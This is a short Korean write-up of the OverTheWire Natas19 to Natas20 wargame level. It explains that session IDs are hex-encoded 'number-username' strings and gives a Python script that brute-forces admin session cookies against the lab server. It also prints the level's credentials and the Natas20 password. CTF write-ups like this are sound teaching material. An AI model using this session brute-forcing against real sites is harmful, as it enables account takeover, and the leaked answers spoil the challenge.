[Natas]Natas19 - Natas20

   Natas19 - Natas20

Natas Web Wargames

Overthewire 사이트 : http://overthewire.org/wargames/natas/

[힌트]

1. 전 소스코드 동일

2. 세션값 확인 - 규칙 찾기

전단계의 소스코드와 동일하다. 단지 바뀐 점이 있다면 세션값이 길어졌다. 어떻게 바뀌는 지 확인하기위해서 여러번 반복해서 세션값을 받아왔다. 

1. 3531382d6e617461733138

2. 3335372d6e617461733138

3. 3133372d6e617461733138

4. 3136342d6e617461733138

5. 312d6e617461733138

5번의 세션값을 받아온 결과, 뒤에 2d6e617461733138 은 동일하다는 사실을 알았다. 그리고 앞에 6자리를 봤더니, 30~ 39까지 0 ~ 9패턴이라는 것을 알 수 있었고, 1자리부터 3자리 수라는 것을 확인할 수 있었다. 똑같이 이 패턴을 바탕으로 세션값을 돌려보면 Natas20의 비밀번호를 알아볼 수 있다는 것을 알게 되었다.  

[Natas19 - Natas20 자동화프로그램] - Python3

import socket
dic = {'0':'30','1':'31','2':'32','3':'33','4':'34','5':'35','6':'36','7':'37','8':'38','9':'39'}
 
for i in range(1,641):
    i = list(str(i))
    ch = ""
    for x in range(len(i)):
      ch += dic[i[x]]
    print(ch)
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "POST /index.php "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n"
    header += "Host:natas19.natas.labs.overthewire.org\r\n"
    header += "Cookie:PHPSESSID="+str(ch)+"2d61646d696e\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    if "You are an admin" in response:
        print(response)
        sock.close()
        break;
    sock.close()
print()
# 결과값 : 3839
# Natas20 : eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF